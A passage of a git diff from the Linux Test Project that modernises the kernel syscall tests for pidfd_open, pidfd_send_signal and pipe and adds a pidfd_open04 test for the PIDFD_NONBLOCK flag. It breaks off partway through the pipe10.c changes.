"fcntl(F_GETFD) failed"); + SAFE_CLOSE(pidfd); if (!(flag & FD_CLOEXEC)) tst_brk(TFAIL, "pidfd_open(getpid(), 0) didn't set close-on-exec flag"); @@ -35,7 +35,14 @@ static void run(void) tst_res(TPASS, "pidfd_open(getpid(), 0) passed"); } +static void cleanup(void) +{ + if (pidfd > -1) + SAFE_CLOSE(pidfd); +} + static struct tst_test test = { - .min_kver = "5.3", + .setup = pidfd_open_supported, + .cleanup = cleanup, .test_all = run, }; diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c index dc86cae7..9d6c9321 100755 --- a/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c +++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open02.c @@ -1,14 +1,21 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar + */ + +/*\ + * [Description] + * + * Tests basic error handling of the pidfd_open syscall. * - * Description: - * Basic pidfd_open() test to test invalid arguments. + * - ESRCH the process specified by pid does not exist + * - EINVAL pid is not valid + * - EINVAL flags is not valid */ #include "tst_test.h" -#include "lapi/pidfd_open.h" +#include "lapi/pidfd.h" -pid_t expired_pid, my_pid, invalid_pid = -1; +static pid_t expired_pid, my_pid, invalid_pid = -1; static struct tcase { char *name; @@ -23,6 +30,7 @@ static struct tcase { static void setup(void) { + pidfd_open_supported(); expired_pid = tst_get_unused_pid(); my_pid = getpid(); } @@ -31,27 +39,11 @@ static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - TEST(pidfd_open(*tc->pid, tc->flags)); - - if (TST_RET != -1) { - SAFE_CLOSE(TST_RET); - tst_res(TFAIL, "%s: pidfd_open succeeded unexpectedly (index: %d)", - tc->name, n); - return; - } - - if (tc->exp_errno != TST_ERR) { - tst_res(TFAIL | TTERRNO, "%s: pidfd_open() should fail with %s", - tc->name, tst_strerrno(tc->exp_errno)); - return; - } - - tst_res(TPASS | TTERRNO, "%s: pidfd_open() failed as expected", - tc->name); + TST_EXP_FAIL2(pidfd_open(*tc->pid, tc->flags), tc->exp_errno, + "pidfd_open with %s", tc->name); } static struct tst_test test = { - .min_kver = "5.3", .tcnt = ARRAY_SIZE(tcases), .test = run, .setup = setup, diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c index 48470e5e..16a8442f 100755 --- a/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c +++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open03.c @@ -1,8 +1,11 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 Viresh Kumar + */ + +/*\ + * [Description] * - * Description: * This program opens the PID file descriptor of the child process created with * fork(). It then uses poll to monitor the file descriptor for process exit, as * indicated by an EPOLLIN event. @@ -12,7 +15,7 @@ #include #include "tst_test.h" -#include "lapi/pidfd_open.h" +#include "lapi/pidfd.h" static void run(void) { @@ -27,11 +30,9 @@ static void run(void) exit(EXIT_SUCCESS); } - TEST(pidfd_open(pid, 0)); + TST_EXP_FD_SILENT(pidfd_open(pid, 0), "pidfd_open(%d, 0)", pid); fd = TST_RET; - if (fd == -1) - tst_brk(TFAIL | TTERRNO, "pidfd_open() failed"); TST_CHECKPOINT_WAKE(0); @@ -50,7 +51,7 @@ static void run(void) } static struct tst_test test = { - .min_kver = "5.3", + .setup = pidfd_open_supported, .test_all = run, .forks_child = 1, .needs_checkpoints = 1, diff --git a/testcases/kernel/syscalls/pidfd_open/pidfd_open04.c b/testcases/kernel/syscalls/pidfd_open/pidfd_open04.c new file mode 100644 index 00000000..0e8ab695 --- /dev/null +++ b/testcases/kernel/syscalls/pidfd_open/pidfd_open04.c @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Verify that the PIDFD_NONBLOCK flag works with pidfd_open() and + * that waitid() with a non-blocking pidfd returns EAGAIN. + */ + +#include +#include +#include +#include "tst_test.h" +#include "lapi/pidfd.h" + +#ifndef P_PIDFD +#define P_PIDFD 3 +#endif + +static int pidfd = -1; + +static void run(void) +{ + int flag, pid, ret; + siginfo_t info; + + pid = SAFE_FORK(); + if (!pid) { + TST_CHECKPOINT_WAIT(0); + exit(EXIT_SUCCESS); + } + + TST_EXP_FD_SILENT(pidfd_open(pid, PIDFD_NONBLOCK), + "pidfd_open(%d, PIDFD_NONBLOCK)", pid); + + pidfd = TST_RET; + flag = SAFE_FCNTL(pidfd, F_GETFL); + + if (!(flag & O_NONBLOCK)) + tst_brk(TFAIL, "pidfd_open(%d, O_NONBLOCK) didn't set O_NONBLOCK flag", pid); + + tst_res(TPASS, "pidfd_open(%d, O_NONBLOCK) sets O_NONBLOCK flag", pid); + + TST_EXP_FAIL(waitid(P_PIDFD, pidfd, &info, WEXITED), EAGAIN, + "waitid(P_PIDFD,...,WEXITED)"); + + TST_CHECKPOINT_WAKE(0); + + ret = TST_RETRY_FUNC(waitid(P_PIDFD, pidfd, &info, WEXITED), TST_RETVAL_EQ0); + if (ret == 0) { + tst_res(TPASS, "waitid(P_PIDFD) succeeded after child process terminated"); + } else { + tst_res(TFAIL, "waitid(P_PIDFD) failed after child process terminated"); + SAFE_WAIT(NULL); + } + + SAFE_CLOSE(pidfd); +} + +static void setup(void) +{ + pidfd_open_supported(); + + TEST(pidfd_open(getpid(), PIDFD_NONBLOCK)); + if (TST_RET == -1) { + if (TST_ERR == EINVAL) { + tst_brk(TCONF, "PIDFD_NONBLOCK was supported since linux 5.10"); + return; + } + tst_brk(TFAIL | TTERRNO, + "pidfd_open(getpid(),PIDFD_NONBLOCK) failed unexpectedly"); + } + SAFE_CLOSE(TST_RET); +} + +static void cleanup(void) +{ + if (pidfd > -1) + SAFE_CLOSE(pidfd); +} + +static struct tst_test test = { + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c index 4cb5df94..47158502 100755 --- a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c +++ b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal01.c @@ -3,7 +3,10 @@ * Copyright (c) 2019 SUSE LLC * Author: Christian Amann */ -/* + +/*\ + * [Description] + * * Tests if the pidfd_send_signal syscall behaves * like rt_sigqueueinfo when a pointer to a siginfo_t * struct is passed. @@ -12,7 +15,8 @@ #define _GNU_SOURCE #include #include -#include "lapi/pidfd_send_signal.h" +#include "tst_test.h" +#include "lapi/pidfd.h" #include "tst_safe_pthread.h" #define SIGNAL SIGUSR1 diff --git a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c index 1e62b417..a3bf994f 100755 --- a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c +++ b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal02.c @@ -3,28 +3,28 @@ * Copyright (c) 2019 SUSE LLC * Author: Christian Amann */ -/* + +/*\ + * [Description] + * * Tests basic error handling of the pidfd_send_signal * system call. * - * 1) Pass invalid flag value to syscall (value chosen - * to be unlikely to collide with future extensions) - * -> EINVAL - * 2) Pass a file descriptor that is corresponding to a - * regular file instead of a pid directory - * -> EBADF - * 3) Pass a signal that is different from the one used - * to initialize the siginfo_t struct - * -> EINVAL - * 4) Try to send signal to other process (init) with - * missing privileges - * -> EPERM + * - EINVAL Pass invalid flag value to syscall (value chosen + * to be unlikely to collide with future extensions) + * - EBADF Pass a file descriptor that is corresponding to a + * regular file instead of a pid directory + * - EINVAL Pass a signal that is different from the one used + * to initialize the siginfo_t struct + * - EPERM Try to send signal to other process (init) with + * missing privileges */ #define _GNU_SOURCE #include #include -#include "lapi/pidfd_send_signal.h" +#include "tst_test.h" +#include "lapi/pidfd.h" #include "tst_safe_pthread.h" #define CORRECT_SIGNAL SIGUSR1 diff --git a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c index 0903d670..20d96b11 100755 --- a/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c +++ b/testcases/kernel/syscalls/pidfd_send_signal/pidfd_send_signal03.c @@ -3,13 +3,18 @@ * Copyright (c) 2019 SUSE LLC * Author: Christian Amann */ -/* + +/*\ + * [Description] + * * This test checks if the pidfd_send_signal syscall wrongfully sends * a signal to a new process which inherited the PID of the actual * target process. + * * In order to do so it is necessary to start a process with a pre- * determined PID. This is accomplished by writing to the * /proc/sys/kernel/ns_last_pid file. + * * By utilizing this, this test forks two children with the same PID. * It is then checked, if the syscall will send a signal to the second * child using the pidfd of the first one. @@ -19,7 +24,8 @@ #include #include #include -#include "lapi/pidfd_send_signal.h" +#include "tst_test.h" +#include "lapi/pidfd.h" #include "tst_safe_pthread.h" #define PIDTRIES 3 diff --git a/testcases/kernel/syscalls/pipe/.gitignore b/testcases/kernel/syscalls/pipe/.gitignore index 23e7186a..774d7320 100755 --- a/testcases/kernel/syscalls/pipe/.gitignore +++ b/testcases/kernel/syscalls/pipe/.gitignore @@ -11,3 +11,4 @@ /pipe11 /pipe12 /pipe13 +/pipe14 diff --git a/testcases/kernel/syscalls/pipe/pipe01.c b/testcases/kernel/syscalls/pipe/pipe01.c index 8767cf45..05ab7491 100755 --- a/testcases/kernel/syscalls/pipe/pipe01.c +++ b/testcases/kernel/syscalls/pipe/pipe01.c @@ -28,7 +28,7 @@ static void verify_pipe(void) return; } - wr_size = SAFE_WRITE(1, fds[1], wrbuf, sizeof(wrbuf)); + wr_size = SAFE_WRITE(SAFE_WRITE_ALL, fds[1], wrbuf, sizeof(wrbuf)); rd_size = SAFE_READ(0, fds[0], rdbuf, sizeof(rdbuf)); if (rd_size != wr_size) { diff --git a/testcases/kernel/syscalls/pipe/pipe02.c b/testcases/kernel/syscalls/pipe/pipe02.c index bf81c189..2247037b 100755 --- a/testcases/kernel/syscalls/pipe/pipe02.c +++ b/testcases/kernel/syscalls/pipe/pipe02.c @@ -25,11 +25,11 @@ static void do_child(void) { SAFE_SIGNAL(SIGPIPE, SIG_DFL); SAFE_CLOSE(fd[0]); - SAFE_WRITE(1, fd[1], wrbuf, SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd[1], wrbuf, SIZE); TST_CHECKPOINT_WAIT(0); - SAFE_WRITE(1, fd[1], wrbuf, SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd[1], wrbuf, SIZE); exit(0); } diff --git a/testcases/kernel/syscalls/pipe/pipe03.c b/testcases/kernel/syscalls/pipe/pipe03.c index 89c0911c..d20867b2 100755 --- a/testcases/kernel/syscalls/pipe/pipe03.c +++ b/testcases/kernel/syscalls/pipe/pipe03.c @@ -1,51 +1,42 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2002 + * Copyright (c) 2003-2023 Linux Test Project */ -/* - * Make sure that writing to the read end of a pipe and reading from - * the write end of a pipe both fail. +/*\ + * [Description] + * + * Verify that, an attempt to write to the read end of a pipe fails with EBADF + * and an attempt to read from the write end of a pipe also fails with EBADF. */ -#include -#include #include "tst_test.h" static int fd[2]; static void verify_pipe(void) { - char buf[2]; - - TEST(pipe(fd)); - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "pipe() failed unexpectedly"); - return; - } - - TEST(write(fd[0], "A", 1)); - if (TST_RET == -1 && errno == EBADF) { - tst_res(TPASS | TTERRNO, "expected failure writing " - "to read end of pipe"); - } else { - tst_res(TFAIL | TTERRNO, "unexpected failure writing " - "to read end of pipe"); - } - - TEST(read(fd[1], buf, 1)); - if (TST_RET == -1 && errno == EBADF) { - tst_res(TPASS | TTERRNO, "expected failure reading " - "from write end of pipe"); - } else { - tst_res(TFAIL | TTERRNO, "unexpected failure reading " - "from write end of pipe"); - } + char buf[] = "abcdef"; + + SAFE_PIPE(fd); + + TST_EXP_FAIL2(write(fd[0], "A", 1), EBADF); + TST_EXP_FAIL2(read(fd[1], buf, 1), EBADF); SAFE_CLOSE(fd[0]); SAFE_CLOSE(fd[1]); } +static void cleanup(void) +{ + if (fd[0] > 0) + SAFE_CLOSE(fd[0]); + if (fd[1] > 0) + SAFE_CLOSE(fd[1]); +} + static struct tst_test test = { .test_all = verify_pipe, + .cleanup = cleanup }; diff --git a/testcases/kernel/syscalls/pipe/pipe06.c b/testcases/kernel/syscalls/pipe/pipe06.c index d8376563..0c6bc03b 100755 --- a/testcases/kernel/syscalls/pipe/pipe06.c +++ b/testcases/kernel/syscalls/pipe/pipe06.c @@ -1,119 +1,57 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) Linux Test Project, 2002-2015 + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * NAME - * pipe06.c - * - * DESCRIPTION - * Check what happens when the system runs out of pipes. - * - * ALGORITHM - * Issue enough pipe calls to run the system out of pipes. - * Check that we get EMFILE. +/*\ + * [Description] * - * USAGE: - * pipe06 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None + * Verify that, pipe(2) syscall fails with errno EMFILE when + * limit on the number of open file descriptors has been reached. */ -#include -#include -#include "test.h" -char *TCID = "pipe06"; -int TST_TOTAL = 1; +#include "tst_test.h" +#include -int pipe_ret, pipes[2]; -void setup(void); -void cleanup(void); +static int fds[2]; +static int *opened_fds, num_opened_fds; -int main(int ac, char **av) +static void setup(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - /* reset tst_count in case we are looping */ - tst_count = 0; + int max_fds; - TEST(pipe(pipes)); + max_fds = getdtablesize(); + tst_res(TINFO, "getdtablesize() = %d", max_fds); + opened_fds = SAFE_MALLOC(max_fds * sizeof(int)); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - } - - if (TEST_ERRNO != EMFILE) { - tst_resm(TFAIL | TTERRNO, "pipe failed unexpectedly"); - } else { - tst_resm(TPASS, "failed with EMFILE"); - } - - } - cleanup(); - tst_exit(); + do { + SAFE_PIPE(fds); + opened_fds[num_opened_fds++] = fds[0]; + opened_fds[num_opened_fds++] = fds[1]; + } while (fds[1] < max_fds - 2); + tst_res(TINFO, "Number of fds opened by pipe calls: %d", num_opened_fds); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - int i, numb_fds; - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - numb_fds = getdtablesize(); - - for (i = 0; i < numb_fds; i++) { - pipe_ret = pipe(pipes); - if (pipe_ret < 0) { - if (errno != EMFILE) { - tst_brkm(TBROK | TTERRNO, cleanup, - "didn't get EMFILE"); - } - break; - } - } + TST_EXP_FAIL(pipe(fds), EMFILE); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) +static void cleanup(void) { + for (int i = 0; i < num_opened_fds; i++) + SAFE_CLOSE(opened_fds[i]); + + if (opened_fds) + free(opened_fds); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run +}; diff --git a/testcases/kernel/syscalls/pipe/pipe07.c b/testcases/kernel/syscalls/pipe/pipe07.c index 55bb9f41..19648568 100755 --- a/testcases/kernel/syscalls/pipe/pipe07.c +++ b/testcases/kernel/syscalls/pipe/pipe07.c @@ -1,176 +1,101 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2002 - * Ported by Paul Larson + * Ported by Paul Larson * Copyright (c) 2013 Cyril Hrubis - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test the ability of pipe to open the maximum even number of file - * descriptors permitted (or (maxfds - 3)/2 pipes) +/*\ + * [Description] * - * ALGORITHM - * 1. record file descriptors open prior to test run - * 2. open pipes until EMFILE is returned - * 3. check to see that the number of pipes opened is (maxfds - 3) / 2 - * 4. close all fds in range 0, maximal fd that were not open prior to - * the test execution + * Verify that, pipe(2) syscall can open the maximum number of + * file descriptors permitted. */ -#include -#include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" - -char *TCID = "pipe07"; -int TST_TOTAL = 1; - -/* used to record file descriptors open at the test start */ -static int rec_fds[128]; -static int rec_fds_max; -static void record_open_fds(void); -static void close_test_fds(int max_fd); +#include "tst_test.h" +#include -static void setup(void); -static void cleanup(void); +static int *opened_fds, *pipe_fds; +static int num_pipe_fds, exp_num_pipes; -int main(int ac, char **av) +static int record_open_fds(void) { - int lc; - int min, ret; - int npipes; - int pipes[2], max_fd = 0; - - tst_parse_opts(ac, av, NULL, NULL); + DIR *dir; + struct dirent *ent; + int fd; + int num_opened_fds = 0; + int arr_size = 0; - setup(); + dir = SAFE_OPENDIR("/proc/self/fd"); - min = getdtablesize() - rec_fds_max; - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; + while ((ent = SAFE_READDIR(dir))) { + if (!strcmp(ent->d_name, ".") || + !strcmp(ent->d_name, "..")) + continue; + fd = atoi(ent->d_name); - for (npipes = 0;; npipes++) { - ret = pipe(pipes); - if (ret < 0) { - if (errno != EMFILE) { - tst_brkm(TFAIL, cleanup, - "got unexpected error - %d", - errno); - } - break; - } + if (fd == dirfd(dir)) + continue; - max_fd = MAX(pipes[0], max_fd); - max_fd = MAX(pipes[1], max_fd); + if (num_opened_fds >= arr_size) { + arr_size = MAX(1, arr_size * 2); + opened_fds = SAFE_REALLOC(opened_fds, arr_size * sizeof(int)); } - - if (npipes == (min / 2)) - tst_resm(TPASS, "Opened %d pipes", npipes); - else - tst_resm(TFAIL, "Unable to open maxfds/2 pipes"); - - close_test_fds(max_fd); - max_fd = 0; + opened_fds[num_opened_fds++] = fd; } - cleanup(); - tst_exit(); + return num_opened_fds; } static void setup(void) { - tst_sig(FORK, DEF_HANDLER, cleanup); - TEST_PAUSE; + int max_fds; - record_open_fds(); + max_fds = getdtablesize(); + tst_res(TINFO, "getdtablesize() = %d", max_fds); + pipe_fds = SAFE_MALLOC(max_fds * sizeof(int)); + + exp_num_pipes = (max_fds - record_open_fds()) / 2; + tst_res(TINFO, "expected max fds to be opened by pipe(): %d", exp_num_pipes * 2); } -static void record_open_fds(void) +static void run(void) { - DIR *dir = opendir("/proc/self/fd"); - int dir_fd, fd; - struct dirent *file; - - if (dir == NULL) - tst_brkm(TBROK | TERRNO, cleanup, "opendir()"); - - dir_fd = dirfd(dir); - - if (dir_fd == -1) - tst_brkm(TBROK | TERRNO, cleanup, "dirfd()"); + int fds[2]; - errno = 0; - - while ((file = readdir(dir))) { - if (!strcmp(file->d_name, ".") || !strcmp(file->d_name, "..")) - continue; - - fd = atoi(file->d_name); - - if (fd == dir_fd) - continue; - - if (rec_fds_max >= (int)ARRAY_SIZE(rec_fds)) { - tst_brkm(TBROK, cleanup, - "Too much file descriptors open"); + do { + TEST(pipe(fds)); + if (!TST_RET) { + pipe_fds[num_pipe_fds++] = fds[0]; + pipe_fds[num_pipe_fds++] = fds[1]; } + } while (!TST_RET); - rec_fds[rec_fds_max++] = fd; - } - - if (errno) - tst_brkm(TBROK | TERRNO, cleanup, "readdir()"); + TST_EXP_EQ_LI(errno, EMFILE); + TST_EXP_EQ_LI(exp_num_pipes * 2, num_pipe_fds); - closedir(dir); + for (int i = 0; i < num_pipe_fds; i++) + SAFE_CLOSE(pipe_fds[i]); - tst_resm(TINFO, "Found %u files open", rec_fds_max); + num_pipe_fds = 0; } -static int not_recorded(int fd) +static void cleanup(void) { - int i; + for (int i = 0; i < num_pipe_fds; i++) + if (pipe_fds[i] > 0) + SAFE_CLOSE(pipe_fds[i]); - for (i = 0; i < rec_fds_max; i++) - if (fd == rec_fds[i]) - return 0; + if (pipe_fds) + free(pipe_fds); - return 1; + if (opened_fds) + free(opened_fds); } -static void close_test_fds(int max_fd) -{ - int i; - - for (i = 0; i <= max_fd; i++) { - if (not_recorded(i)) { - if (close(i)) { - if (errno == EBADF) - continue; - tst_resm(TWARN | TERRNO, "close(%i)", i); - } - } - } -} - -static void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run +}; diff --git a/testcases/kernel/syscalls/pipe/pipe08.c b/testcases/kernel/syscalls/pipe/pipe08.c index 173ec788..28088cf6 100755 --- a/testcases/kernel/syscalls/pipe/pipe08.c +++ b/testcases/kernel/syscalls/pipe/pipe08.c @@ -1,137 +1,59 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * NAME - * pipe08.c - * - * DESCRIPTION - * Check that a SIGPIPE signal is generated when a write is - * attempted on an empty pipe. - * - * ALGORITHM - * 1. Write to a pipe after closing the read side. - * 2. Check for the signal SIGPIPE to be received. +/*\ + * [Description] * - * USAGE: - * pipe08 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * USAGE - * pipe08 - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None + * Verify that, on any attempt to write to a pipe which is closed for + * reading will generate a SIGPIPE signal and write will fail with + * EPIPE errno. */ -#include -#include -#include -#include -#include "test.h" -char *TCID = "pipe08"; -int TST_TOTAL = 1; +#include "tst_test.h" -void setup(void); -void cleanup(void); -void sighandler(int); +static int pipefd[2]; +static volatile int sigpipe_cnt; -int main(int ac, char **av) +static void sighandler(int sig) { - int lc; - - int pipefd[2]; /* fds for pipe read/write */ - char wrbuf[BUFSIZ]; - int written, length; - int close_stat; /* exit status of close(read fd) */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - /* reset tst_count in case we are looping */ - tst_count = 0; - - TEST(pipe(pipefd)); + if (sig == SIGPIPE) + sigpipe_cnt++; +} - if (TEST_RETURN != 0) { - tst_resm(TFAIL, "call failed unexpectedly"); - continue; - } +static void run(void) +{ + char wrbuf[] = "abcdefghijklmnopqrstuvwxyz"; - if ((close_stat = close(pipefd[0])) == -1) { - tst_brkm(TBROK, cleanup, "close of read side failed"); - } + sigpipe_cnt = 0; - strcpy(wrbuf, "abcdefghijklmnopqrstuvwxyz\0"); - length = strlen(wrbuf); + SAFE_PIPE(pipefd); + SAFE_CLOSE(pipefd[0]); - /* - * the SIGPIPE signal will be caught here or else - * the program will dump core when the signal is - * sent - */ - written = write(pipefd[1], wrbuf, length); - if (written > 0) - tst_brkm(TBROK, cleanup, "write succeeded unexpectedly"); - } - cleanup(); - tst_exit(); + TST_EXP_FAIL2_SILENT(write(pipefd[1], wrbuf, sizeof(wrbuf)), EPIPE); + TST_EXP_EQ_LI(sigpipe_cnt, 1); + SAFE_CLOSE(pipefd[1]); } -/* - * sighandler - catch signals and look for SIGPIPE - */ -void sighandler(int sig) +static void setup(void) { - if (sig != SIGPIPE) - tst_resm(TFAIL, "expected SIGPIPE, got %d", sig); - else - tst_resm(TPASS, "got expected SIGPIPE signal"); + SAFE_SIGNAL(SIGPIPE, sighandler); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void cleanup(void) { - - tst_sig(NOFORK, sighandler, cleanup); - - TEST_PAUSE; + if (pipefd[0] > 0) + SAFE_CLOSE(pipefd[0]); + if (pipefd[1] > 0) + SAFE_CLOSE(pipefd[1]); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .cleanup = cleanup +}; diff --git a/testcases/kernel/syscalls/pipe/pipe10.c b/testcases/kernel/syscalls/pipe/pipe10.c index 48f722e3..018e653d 100755 --- a/testcases/kernel/syscalls/pipe/pipe10.c +++ b/testcases/kernel/syscalls/pipe/pipe10.c @@ -1,164 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * NAME - * pipe10.c - * - * DESCRIPTION - * Check that parent can open a pipe and have a child read from it - * - * ALGORITHM - * Parent opens pipe, child reads. Passes if child can read all the - * characters written by the parent. - * - * USAGE: - * pipe10 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * None + * Verify that, when a parent process opens a pipe, a child process can + * read from it. */ -#include -#include -#include -#include -#include "test.h" -char *TCID = "pipe10"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" -void setup(void); -void cleanup(void); +static int fds[2]; -ssize_t do_read(int fd, void *buf, size_t count) +static void run(void) { - ssize_t n; - - do { - n = read(fd, buf, count); - } while (n < 0 && errno == EINTR); - - return n; -} - -int main(int ac, char **av) -{ - int lc; - - int fd[2]; /* fds for pipe read/write */ - char wrbuf[BUFSIZ], rebuf[BUFSIZ]; - int red, written; /* no of chars read and */ - /* written to pipe */ - int length, greater, forkstat; - int retval = 0, status, e_code; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { + int wr_cnt, rd_cnt; + char wrbuf[] = "abcdefghijklmnopqrstuvwxyz"; + char rdbuf[BUFSIZ]; - /* reset tst_count in case we are looping */ - tst_count = 0; + SAFE_PIPE(fds); + wr_cnt = SAFE_WRITE(SAFE_WRITE_ALL, fds[1], wrbuf, sizeof(wrbuf)); - TEST(pipe(fd)); - - if (TEST_RETURN == -1) { - retval = 1; - tst_resm(TFAIL, "pipe creation failed"); - continue; - } - - strcpy(wrbuf, "abcdefghijklmnopqrstuvwxyz"); - length = strlen(wrbuf) + 1; - - written = write(fd[1], wrbuf, length); - - /* did write write at least some chars */ - if ((written < 0) || (written > length)) { - tst_brkm(TBROK, cleanup, "write to pipe failed"); - } - - forkstat = FORK_OR_VFORK(); - - if (forkstat == -1) { - tst_brkm(TBROK, cleanup, "fork() failed"); - } - - if (forkstat == 0) { /* child */ - red = do_read(fd[0], rebuf, written); - - /* did read , get at least some chars */ - if ((red < 0) || (red > written)) { - tst_brkm(TBROK, cleanup, "read pipe failed"); - } - - greater = strcmp(rebuf, wrbuf); - - /* are the strings written and read equal */ - if (greater == 0) { - tst_resm(TPASS, "functionality is correct"); - } else { - retval = 1; - tst_resm(TFAIL, "read & write strings do " - "not match"); - } - 